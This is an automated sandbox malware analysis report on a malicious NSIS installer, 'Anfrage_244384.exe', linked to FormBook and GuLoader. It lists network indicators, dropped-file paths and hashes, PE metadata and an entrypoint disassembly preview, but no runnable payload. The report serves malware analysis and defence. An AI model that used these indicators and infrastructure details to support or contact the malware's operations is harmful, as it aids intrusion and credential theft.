                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                      Run name:Run with higher sleep bypass
                      Number of analysed new started processes analysed:8
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:Anfrage_244384.exe
                      Detection:MAL
                      Classification:mal84.troj.evad.winEXE@3/10@1/1
                      EGA Information:
                      • Successful, ratio: 100%
                      HCA Information:
                      • Successful, ratio: 88%
                      • Number of executed functions: 47
                      • Number of non-executed functions: 288
                      Cookbook Comments:
                      • Found application associated with file extension: .exe
                      • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                      Warnings

                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                      • VT rate limit hit for: Anfrage_244384.exe

                      Simulations

                      Behavior and APIs

                      ⊘No simulations

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      188.40.95.144Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                        Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                          5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                            5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                              Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                  Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse

                                      Domains

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      familytherapycenter.rsAnfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144

                                      ASNs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      HETZNER-ASDEscripttodo.ps1Get hashmaliciousUnknownBrowse
                                      • 46.4.134.23
                                      scripttodo (3).ps1Get hashmaliciousUnknownBrowse
                                      • 46.4.134.23
                                      https://assets-fra.mkt.dynamics.com/899008e9-019b-ef11-8a66-6045bd6cbcf8/digitalassets/standaloneforms/eef8cd2b-b69d-ef11-a72c-000d3ae7186cGet hashmaliciousUnknownBrowse
                                      • 94.130.67.118
                                      AWB_NO_907853880911.exeGet hashmaliciousFormBookBrowse
                                      • 144.76.190.39
                                      https://login-zendesk-account.servz.com.pkGet hashmaliciousHTMLPhisherBrowse
                                      • 85.10.196.124
                                      https://login-zendesk-account.servz.com.pkGet hashmaliciousHTMLPhisherBrowse
                                      • 85.10.196.124
                                      https://login-zendesk-account.servz.com.pkGet hashmaliciousHTMLPhisherBrowse
                                      • 85.10.196.124
                                      https://google.com:login@login-zendesk-account.servz.com.pk/index.htmlGet hashmaliciousHTMLPhisherBrowse
                                      • 85.10.196.124
                                      ch89yHIa99.exeGet hashmaliciousDucktailBrowse
                                      • 138.201.8.186

                                      JA3 Fingerprints

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      37f463bf4616ecd445d4a1937da06e19LkzvfB4VFj.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      gjbrNWQeg1.exeGet hashmaliciousGuLoaderBrowse
                                      • 188.40.95.144
                                      kJyOzzBNim.exeGet hashmaliciousGuLoaderBrowse
                                      • 188.40.95.144
                                      7DqFctwwsk.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                      • 188.40.95.144
                                      6cUI1ZCp5E.exeGet hashmaliciousGuLoaderBrowse
                                      • 188.40.95.144
                                      FcRCSylOMs.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      kChWJJNUHz.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                      • 188.40.95.144
                                      Y725GT96z1.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exeGet hashmaliciousGuLoader, RemcosBrowse
                                      • 188.40.95.144

                                      Dropped Files

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      C:\Users\user\AppData\Local\Temp\nsd5416.tmp\System.dllAnfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                          5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                            5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                                Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                  Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse

                                                      Created / dropped Files

                                                      C:\Users\user\AppData\Local\Temp\nsd5416.tmp\System.dll

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                      Category:dropped
                                                      Size (bytes):11264
                                                      Entropy (8bit):5.7711167426271945
                                                      Encrypted:false
                                                      SSDEEP:192:OPtkumJX7zB22kGwfy0mtVgkCPOsX1un:/702k5qpdsXQn
                                                      MD5:3F176D1EE13B0D7D6BD92E1C7A0B9BAE
                                                      SHA1:FE582246792774C2C9DD15639FFA0ACA90D6FD0B
                                                      SHA-256:FA4AB1D6F79FD677433A31ADA7806373A789D34328DA46CCB0449BBF347BD73E
                                                      SHA-512:0A69124819B7568D0DEA4E9E85CE8FE61C7BA697C934E3A95E2DCFB9F252B1D9DA7FAF8774B6E8EFD614885507ACC94987733EBA09A2F5E7098B774DFC8524B6
                                                      Malicious:false
                                                      Antivirus:
                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                      Joe Sandbox View:
                                                      • Filename: Anfrage244384.exe, Detection: malicious, Browse
                                                      • Filename: Anfrage244384.exe, Detection: malicious, Browse
                                                      • Filename: 5112024976.exe, Detection: malicious, Browse
                                                      • Filename: 5112024976.exe, Detection: malicious, Browse
                                                      • Filename: Anfrage24438.zip, Detection: malicious, Browse
                                                      • Filename: Anfrage24438.exe, Detection: malicious, Browse
                                                      • Filename: Anfrage24438.exe, Detection: malicious, Browse
                                                      • Filename: 5112024976.exe, Detection: malicious, Browse
                                                      Reputation:moderate, very likely benign file
                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L.....MX...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                      C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes\nilgedde.mes

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:Matlab v4 mat-file (little endian) Y, numeric, rows 0, columns 0
                                                      Category:dropped
                                                      Size (bytes):354845
                                                      Entropy (8bit):1.2446363869824946
                                                      Encrypted:false
                                                      SSDEEP:768:E2oz5FNvncy2DZRau7W0sxOvPfSfpg5rWuWAAUIdde/FwPPMk/FOuyQv9biuPia6:opho02mYrKiKLFyJ1AIu2
                                                      MD5:DF7A44909B03AB5BC45910B405D9977A
                                                      SHA1:3D0583A7DFB39E559827189E02123F2C983A21D5
                                                      SHA-256:5A3B61A0BC8E81E756374D2A9FF5087FA4496543A635738ACA8911E95D6340D9
                                                      SHA-512:C2B4E951A185FC3FB75109B5CAA554431C1517588D04B8F2BA865F75BE448A0448364BCB84253C9B44579078787DDA616F33666C0C1BF902EC644EBC9A6FE621
                                                      Malicious:false
                                                      Reputation:moderate, very likely benign file
                                                      Preview:..................%.Y.............................[......................z...........................................8.................{................b.......W..........................................#.........................................%....z..................7......................................x.i...+............................................................................8......................................................................................................................-..3..................................................................................|............T...........................#...........\.....A.............................................7..........'.................... ...................].................J.J..........s................................g..............W........................................................................................................$...g..........................................................

                                                      C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes\selefant.kri

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):298017
                                                      Entropy (8bit):1.245520550165085
                                                      Encrypted:false
                                                      SSDEEP:768:nLoDoRi0SWvTrmnVqvh6dzfCaci65UhXqjMctTGA3QBgdRWqrw3q3LFPRvx7H155:DStBsLk6gsifeQIGA0iYRwvy8n
                                                      MD5:B4C9FC75BAB8C9F006A7D9DDBC249F79
                                                      SHA1:70D4047E7E3BB10CF237B82775C89A1D92700162
                                                      SHA-256:1D84F9462C244A4500C213DF8DD79971B286392CA02BC536F5F6C3EEBC94E7E3
                                                      SHA-512:2E2279CB3755AC5708ABB30E8342235B7F0A24223E3D6F4B2B21B62E59012A5126ADC1BD73D7B64E72634728DECCE7A049D3E6F5055F8D74E959BEE54EDBEA4C
                                                      Malicious:false
                                                      Reputation:moderate, very likely benign file
                                                      Preview:............................_..,...........................................................;...........................................................7...O..................'.........................................P.........L................@....................8....................v..................G.....h.............................................m..+b.....................................................m.......C.....................................i..........................................................................................,................................C..........a...........Y......,...........q....................................................................................................................................................................................................................p................S................L..........)..............................................kF........^........E.................................................

                                                      C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes\speil.int

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):497497
                                                      Entropy (8bit):1.2525295412969446
                                                      Encrypted:false
                                                      SSDEEP:1536:rbNZ/Rg8JCCgxT2eIgde/lBWTTBwGceukAdTYz91n6n:9NRg836IVLWHeGxKYQ
                                                      MD5:F3F6C6E37EAB51D3B9B9C059C1EB874C
                                                      SHA1:401E5740CCFBC1DA83BD9B426C11020C812986F2
                                                      SHA-256:B5A607F50C65E41B2BFF7F852F27373177D326D9DFA1040E1C2B3AF62F757BAB
                                                      SHA-512:060B328595ADAF9E85B390AA2AACEEFE4C6197294B7C45594798755C5E04BE1E2110F617B51E38D7DF423CD807FA81B30702CE2548563980B9CA195ECF2C11A7
                                                      Malicious:false
                                                      Reputation:moderate, very likely benign file
                                                      Preview:.........................................o................j........................................c..6......................................../....................................................m...............................r.D................................T.........................................................8....................x...................................................................!.....O....\................G.........................................G........n....."................:.........................................................................................................@.......<..................................................i.......k..............................................................................................................................=.........g.........................k.............A.......[........................)...........e................................b.............................................6.............

                                                      C:\Users\user\AppData\Roaming\secretaryships\Hemmeligt70.Bly

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):58676
                                                      Entropy (8bit):4.585503260397429
                                                      Encrypted:false
                                                      SSDEEP:768:hUm9EMv+RHOORqqYH3VEwnRnXNcmhdmPJPU9FLd86+qWhTeFVk6t6MmaEEXrDH9S:Om9chszXJlVdmPJuTWcJ6+3O9Rh
                                                      MD5:CED0BE5E2D0028EFD3F1249AC1126BA3
                                                      SHA1:3902CD952EA81D8A7D9E0FC1F17972967DDD917D
                                                      SHA-256:4B029ECD2CE2EB26D9686573D7D891E689A717672BB8F76903BC44EC43DA2955
                                                      SHA-512:7F14E8FD856D1D1E2FD89C692685EB70C462BC1C202C4946CC1B0D27E59264278264C3C7EA72E63F9B9BA35C434FAAB305724827A4C8D63ADBE78D8C4E4759FD
                                                      Malicious:false
                                                      Preview:..ll..__.....|.....VVVVVV.*........b...........YY...33333333333.A.KK.---........].{{{{...KK.....T.....................rr...................333...........*..Q..5....................11.............'........................7...|||||||..............V.........j.E.......................}....///................''''.......y....>............YYYY...ff.<.....WWWW............................................................................H.....................qq..'''.~..Y.....................@.....mmm.....;..kkkk.......RRRRR...........zz.............UU.....7777...........jj....n...............9.p....,...........Z....s.;..............BBBBBBBB..>.Q.......W........CCCC.xxxx.....FFFF........)......,,.............:::..[[[........TTT.[........PPPP.........S............////.......................^............!..JJ.,.\\\.........ff.........._........ ......hh.................``......................kkkkkk..................................f.Z.........DDDD...z..................R.].;.......R...OO............

                                                      C:\Users\user\AppData\Roaming\secretaryships\Tingid.pig

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):476422
                                                      Entropy (8bit):1.2552031449987011
                                                      Encrypted:false
                                                      SSDEEP:1536:zGmPxn4XjZOVebnJjvYbTUBhGKcjnO/EeMHPm:Sm6zYVb849nH6
                                                      MD5:F236A74F28F6F32F81F1347D9F129268
                                                      SHA1:D5BE521661EE4BF3C186C3EAA0411DD5DF6F3EBA
                                                      SHA-256:BEED12F00B12156FF9FA63595DE11A5C01493CF5F85488CB2E159CF1A8236778
                                                      SHA-512:D6AD37DDF7B6B38B90F09186AC81C6A76F16F9A4613D6113F10D7B2A4F68129E570EFFC77A19B04F276277B7A569EBD5FD4A48D2E2E72CEA8CEE5A8F67CC5EF4
                                                      Malicious:false
                                                      Preview:.................................................................7...........................).....$....%..........................#.....M.....................................6.........N.........).......................................................................................a..............t..................................................T.........................................@...........................+..U...................A'..............L..................................................../.............2..............k.........................................................................................................&.............................................>...........................................................|..........................?...............................&...................................n.q......}....................................E......................................................p........................................6..........

                                                      C:\Users\user\AppData\Roaming\secretaryships\anya.por

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):448073
                                                      Entropy (8bit):1.2554221597008608
                                                      Encrypted:false
                                                      SSDEEP:1536:i9EUBeeNEu//hQg77ea6OP/B1p7to4APRUYZAkxe:qFZO5u/B1pBo510
                                                      MD5:3AD8D5763CA124C7392D1F4F53D24F0E
                                                      SHA1:17D48EF1AB8D52A31821A069C225D45201535899
                                                      SHA-256:3965D74DBD296AA8E7524C773FE81FE63A78355145502153CB577E9CB136DDA0
                                                      SHA-512:EE8BDE196A33297BFD4E51ED01E7D0178CF457497E822771D2BE3C58A97681AC52CD19A2BBBB71220F06F6D936A6AA67966295DF3C676104B9643F07CBE37EC8
                                                      Malicious:false
                                                      Preview:............y...k......... ....L..............................................................c....................d...........................p..............R.................................................5...............f.......{......................................................................................J...........@.................E....h...............0................M.................'..............................................-...............Z.........................{...............T............c.W..............n....................H...........................................|...................................^...........w.................c...............................).....................................y.....<.......................................T........................................................3.....S..<.......?........................................1!......^.............................t................................................G........

                                                      C:\Users\user\AppData\Roaming\secretaryships\besiddertrang.gra

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):362911
                                                      Entropy (8bit):1.2562704713226092
                                                      Encrypted:false
                                                      SSDEEP:768:uFKWW9YiDlIMhmjVacve6tEvHBLNB3tQsrTpPH8mZLAUFwsahGF48hDpWRcKthwz:u5W9yMJLNbJ1CbFV3Gd6Ie48dPs
                                                      MD5:8AB9852274FA64E09B5711A2E7D94AAB
                                                      SHA1:2C39272B969040B4C185EE4A69A5F04FD1F7C0DB
                                                      SHA-256:FCD149788A3530E5E2CF5E17A09B1DE51EB67B51F3E8941E7091F88B610373F1
                                                      SHA-512:6761208A22E8D93D70465E6DD9CF1B53826AA6BF0418DCCB0A6E5816A183790A61AD67EDCF52D21366975014701107563CE47A0465CEE801300493AEB566CC69
                                                      Malicious:false
                                                      Preview:....-......................................................................?d..........\.a.....................................8...............x...........e...................................)...............+..............................................i...................................................................................................................4......j................................................................................"......................................Z.....%...................................................................................................F............................................................................g...............................E./.....................................................................................Y........#.......F.......n.M.........................................................................................................................W..................................................

                                                      C:\Users\user\AppData\Roaming\secretaryships\darbyite.txt

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:ASCII text, with CRLF line terminators
                                                      Category:dropped
                                                      Size (bytes):497
                                                      Entropy (8bit):4.296439217688297
                                                      Encrypted:false
                                                      SSDEEP:12:kdESMQrs7ZnIyxrqlLIRF0+UAkN0lCGsMqejQlJ8:QjMfpIuqPAEsOi
                                                      MD5:1560371431CEB91914AF5B9D0D307EE1
                                                      SHA1:182B8979D4D0F9F26366653638A9C92FDAFF0D56
                                                      SHA-256:72A2010CDB6ED407FCA17CDB181D5F01801F16040C2C9443BD7CB5032CDAAEF7
                                                      SHA-512:865EF0F7636149A47043183583635C2A4306BF49565166760672B88F0F9DA89A529FE4166DFF496327304E56A8A460B8113E5F3D58601C0B8A3EFAABD792AF3D
                                                      Malicious:false
                                                      Preview:avenging piktogrammernes duecento korsedderkop skurvognsudlejningernes fnges ranaria..kavitet ubetalelige forhalingen passado nautically formaalsbestemmelsernes admiralsuniformers..franchot unimposing rimfire.bemba barsac unflaked skbnesvanger.tige backchats leveret viktualieforretningernes processal dignitas altica epoxyharpikset sergenter forureningsbegrnsedes..sforsvaret antiquating photomechanically enighedernes firepot megrez almon aeneus madrassen thrallborn denoteres slipup tvebakken..

                                                      C:\Users\user\AppData\Roaming\secretaryships\straffespark.Sek

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):284322
                                                      Entropy (8bit):7.771418895856943
                                                      Encrypted:false
                                                      SSDEEP:6144:fOiGjlSjER8DMKEzL4eNm6Vkg9XNf805ft+MODD+T:GCjEa4/zLD+05ek
                                                      MD5:301AF874579F9CE64FCE51A01F616625
                                                      SHA1:6D35516DA84E4342C8E094023B60175BAB5EDCEB
                                                      SHA-256:35BE42786F6EF050A3BAEA615517E40958E6140A089E7D4A83283F1708994C03
                                                      SHA-512:3275C3B39115C29FE923C415D36F4932C279018994E636CE6606C5604B6FA5DA984C7244BE7017AC78204F6F8D90AE7706B1E729FAD91EAEB3C2020A610755E4
                                                      Malicious:false
                                                      Preview:.............00.....................................................WW...:...GGG..ll......................;;;....U.........<.....M..........JJ..........K....................l...###........................;;...\\.t.999.lllll..ee.LL...........^^^.......CC...@.......(............................4....................9.........tt.....................'..........1.................\....GGG.....^........3.ZZ.:.w.....----...C.......ccccc...d.&&.....I..>>>>...www.......k.......o...~~................9......................F.A...XX.........dd........A..00...++..............%%%%...............NNNN....QQ.[[[......ffffff........0.........@.r..|.i............KK......y...,,,,,,....TTTTT...a........CCC.........................`.....((.............RR.........7...x.......#.y............1..................._........TTTT.gg.................k........HHHH...................$$..................b..........((.?.=====....................M.B.j.!........sss....U..__...............$..;;...........////...x....WW.BB..3

                                                      Static File Info

                                                      General

                                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                      Entropy (8bit):7.578007574835592
                                                      TrID:
                                                      • Win32 Executable (generic) a (10002005/4) 99.96%
                                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                                      • DOS Executable Generic (2002/1) 0.02%
                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                      File name:Anfrage_244384.exe
                                                      File size:1'240'824 bytes
                                                      MD5:b03f23199ae987a7bce0ff1a0d742e3e
                                                      SHA1:f454c8de72926ee9f98db7056fa89f0c3ada9666
                                                      SHA256:eda014e3b658bfbbfd141c1459a3414d9ee8b7c139a3976fe732141fa9cf3f80
                                                      SHA512:01ccdc0f586a8926a56f0d3bfee91c5e882bff5df84cbb5363df6681fb62863a8075af8261bb72ecf2360d9d4dc4552dddb4e1ec1da002c24b9416ff0d3f95be
                                                      SSDEEP:24576:aCAoDyk/vnt3h1CzLuTIv08yZVk7ku8h7w6/t338euHdB4bU4VD4C:aCAfqvtx1UuTIMfg7ku8Vfx3/uHHSU4t
                                                      TLSH:E445124337660AA5D45984F7D75ACD30BFA3BC7B018006EB325CB71A9ABA3F0452B539
                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F.*.....F...G.v.F.*.....F...v...F...@...F.Rich..F.........................PE..L...<.MX.................b...|.....

                                                      File Icon

                                                      Icon Hash:076d76bb4c713307

                                                      Static PE Info

                                                      General

                                                      Entrypoint:0x4031a3
                                                      Entrypoint Section:.text
                                                      Digitally signed:true
                                                      Imagebase:0x400000
                                                      Subsystem:windows gui
                                                      Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                      DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                      Time Stamp:0x584DCA3C [Sun Dec 11 21:50:52 2016 UTC]
                                                      TLS Callbacks:
                                                      CLR (.Net) Version:
                                                      OS Version Major:4
                                                      OS Version Minor:0
                                                      File Version Major:4
                                                      File Version Minor:0
                                                      Subsystem Version Major:4
                                                      Subsystem Version Minor:0
                                                      Import Hash:b78ecf47c0a3e24a6f4af114e2d1f5de

                                                      Authenticode Signature

                                                      Signature Valid:false
                                                      Signature Issuer:CN=immechanical, O=immechanical, L=Montiers, C=FR
                                                      Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                      Error Number:-2146762487
                                                      Not Before, Not After
                                                      • 26/07/2024 11:01:31 26/07/2027 11:01:31
                                                      Subject Chain
                                                      • CN=immechanical, O=immechanical, L=Montiers, C=FR
                                                      Version:3
                                                      Thumbprint MD5:8DCDBA681539229FD7339C836C203A51
                                                      Thumbprint SHA-1:9C6E1EF295C999DBD8E2212BF532CD5F5E425BC0
                                                      Thumbprint SHA-256:E345B14576959ED8D4BF59A4660594FC647CCA9157F84BFFB114D15B60339C48
                                                      Serial:313E1C1AB85C6CF76B122FEB885EF111CAA7CE29

                                                      Entrypoint Preview

                                                      Instruction
                                                      sub esp, 00000184h
                                                      push ebx
                                                      push esi
                                                      push edi
                                                      xor ebx, ebx
                                                      push 00008001h
                                                      mov dword ptr [esp+18h], ebx
                                                      mov dword ptr [esp+10h], 0040A198h
                                                      mov dword ptr [esp+20h], ebx
                                                      mov byte ptr [esp+14h], 00000020h
                                                      call dword ptr [004080A8h]
                                                      call dword ptr [004080A4h]
                                                      cmp ax, 00000006h
                                                      je 00007FD81CB68493h
                                                      push ebx
                                                      call 00007FD81CB6B401h
                                                      cmp eax, ebx
                                                      je 00007FD81CB68489h
                                                      push 00000C00h
                                                      call eax
                                                      mov esi, 00408298h
                                                      push esi
                                                      call 00007FD81CB6B37Dh
                                                      push esi
                                                      call dword ptr [004080A0h]
                                                      lea esi, dword ptr [esi+eax+01h]
                                                      cmp byte ptr [esi], bl
                                                      jne 00007FD81CB6846Dh
                                                      push ebp
                                                      push 00000009h
                                                      call 00007FD81CB6B3D4h
                                                      push 00000007h
                                                      call 00007FD81CB6B3CDh
                                                      mov dword ptr [0042F404h], eax
                                                      call dword ptr [00408044h]
                                                      push ebx
                                                      call dword ptr [00408288h]
                                                      mov dword ptr [0042F4B8h], eax
                                                      push ebx
                                                      lea eax, dword ptr [esp+38h]
                                                      push 00000160h
                                                      push eax
                                                      push ebx
                                                      push 00429828h
                                                      call dword ptr [00408174h]
                                                      push 0040A188h
                                                      push 0042EC00h
                                                      call 00007FD81CB6AFF7h
                                                      call dword ptr [0040809Ch]
                                                      mov ebp, 00435000h
                                                      push eax
                                                      push ebp
                                                      call 00007FD81CB6AFE5h
                                                      push ebx
                                                      call dword ptr [00408154h]

                                                      Rich Headers

                                                      Programming Language:
                                                      • [EXP] VC++ 6.0 SP5 build 8804

                                                      Data Directories

                                                      NameVirtual AddressVirtual Size Is in Section
                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x85340xa0.rdata
                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x4b0000x64f00.rsrc
                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x12cc180x22e0
                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_IAT0x80000x298.rdata
                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                      Sections

                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                      .text0x10000x60710x620086ec2a2da0012903b23e33f511180572False0.6687659438775511data6.434342820031866IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                      .rdata0x80000x13520x1400cd090b7c5bd9ae3da2a43d4f02ef98b7False0.4599609375data5.237297010093776IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                      .data0xa0000x254f80x600e98382d1559cdefaafaf45200fe1faf0False0.4544270833333333data4.037252180314336IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                      .ndata0x300000x1b0000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                      .rsrc0x4b0000x64f000x650004b35ddad0638afdc14d8651f31f9f72eFalse0.5893022896039604data6.144636705094013IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                      Resources

                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                      RT_BITMAP0x4b4000x368Device independent bitmap graphic, 96 x 16 x 4, image size 768EnglishUnited States0.23623853211009174
                                                      RT_ICON0x4b7680x4180cDevice independent bitmap graphic, 255 x 510 x 32, image size 260100EnglishUnited States0.5566530003727171
                                                      RT_ICON0x8cf780x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536EnglishUnited States0.6340796167041287
                                                      RT_ICON0x9d7a00x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 36864EnglishUnited States0.6664652091654404
                                                      RT_ICON0xa6c480x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16384EnglishUnited States0.6956188001889466
                                                      RT_ICON0xaae700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216EnglishUnited States0.6902489626556016
                                                      RT_ICON0xad4180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096EnglishUnited States0.724437148217636
                                                      RT_ICON0xae4c00x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304EnglishUnited States0.7479508196721312
                                                      RT_ICON0xaee480x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024EnglishUnited States0.799645390070922
                                                      RT_DIALOG0xaf2b00x144dataEnglishUnited States0.5216049382716049
                                                      RT_DIALOG0xaf3f80x13cdataEnglishUnited States0.5506329113924051
                                                      RT_DIALOG0xaf5380x100dataEnglishUnited States0.5234375
                                                      RT_DIALOG0xaf6380x11cdataEnglishUnited States0.6091549295774648
                                                      RT_DIALOG0xaf7580xc4dataEnglishUnited States0.5918367346938775
                                                      RT_DIALOG0xaf8200x60dataEnglishUnited States0.7291666666666666
                                                      RT_GROUP_ICON0xaf8800x76dataEnglishUnited States0.7457627118644068
                                                      RT_VERSION0xaf8f80x2c8dataEnglishUnited States0.5084269662921348
                                                      RT_MANIFEST0xafbc00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                      Imports

                                                      DLLImport
